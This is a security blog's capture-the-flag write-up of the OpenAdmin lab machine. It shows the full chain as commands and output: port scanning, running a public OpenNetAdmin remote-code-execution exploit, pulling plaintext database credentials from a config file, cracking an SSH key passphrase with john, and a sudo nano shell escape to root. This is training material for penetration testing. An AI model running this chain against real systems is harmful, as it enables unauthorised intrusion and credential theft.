Write-Ups Archives - Swepstopia

Initial Nmap

sudo nmap -sS -sV -p- -Pn -n -T4 -v 10.10.10.171

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP is a default Apache welcome page. Dirbusting finds a music website.

The folder “ona” contains a network monitoring service called “opennetadmin”

Searchsploit finds a RCE for this exact version

OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution

Copying the shell script version and executing it gets a shell

cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .
./47691.sh http://10.10.10.171/ona/
$ whoami
www-data
$ uname -a
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Enumerating the home folders and /etc/passwd finds two users

$ ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxr-xr-x 24 root root 4096 Aug 17 13:12 ..
drwxr-x--- 5 jimmy jimmy 4096 Nov 22 2019 jimmy
drwxr-x--- 5 joanna joanna 4096 Jul 27 06:12 joanna

Running a search for PHP files finds a config file with database credentials

find / -type f -name "*.php" 2> /dev/null
/opt/ona/www/local/config/database_settings.inc.php
<?php

$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);

SSH into Jimmies account using the password

ssh jimmy@10.10.10.171
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

Seeing jimmy is part of group “internal” I kick off a search for all files in group internal

jimmy@openadmin:~$ find / -group internal 2> /dev/null
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php

Looking at the index.php code finds a sha512 hashed password

<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>

Looking at the main.php code shows that is catting out joanna’s private rsa key.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

No results with basic hashcat and rockyou.txt. Before trying with some rule sets I try crackstations online hash cracking service as this hash is unsalted.

Checking for listening ports to find the internal webserver port

jimmy@openadmin:/var/www/internal$ netstat --listening
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost:52846 0.0.0.0:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
udp 0 0 localhost:domain 0.0.0.0:*

Port forward our traffic through ssh and into port 52846. This looks confusing but all it is doing is sending any traffic on our machine that is going to port 52846 into the ssh connection so it comes out of the ssh connection at jimmy’s end and continues to port 52846 on the remote system. This way we can access the internal webserver running.

ssh -L 52846:127.0.0.1:52846 jimmy@10.10.10.171

Now we can just go to http://127.0.0.1:52846 and we will have access to the webpage. Entering the username and password we cracked from the source code will get us joanna key.

And we get joannas private rsa key

And the RSA key is password protected.

ssh -i id_rsa joanna@10.10.10.171
Enter passphrase for key 'id_rsa':

Cracking the id_rsa with john the ripper

┌──(sweps㉿kali)-[~/boxes/openadmin]
└─$ cp /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt .
┌──(sweps㉿kali)-[~/boxes/openadmin]
└─$ john --wordlist=rockyou.txt --format=SSH joannas_key
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:15 DONE (2021-10-21 04:48) 0.06285g/s 901426p/s 901426c/s 901426C/s *7¡Vamos!
Session completed

Now we can login as joanna

joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)

Running sudo -l finds /bin/nano /opt/priv can be run without password with superuser privileges.

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv

Checking GTFO bins for a shell escape for nano gets us root.

# id
uid=0(root) gid=0(root) groups=0(root)

Swepstopia

Just another security blog

Category: Write-Ups

OpenAdmin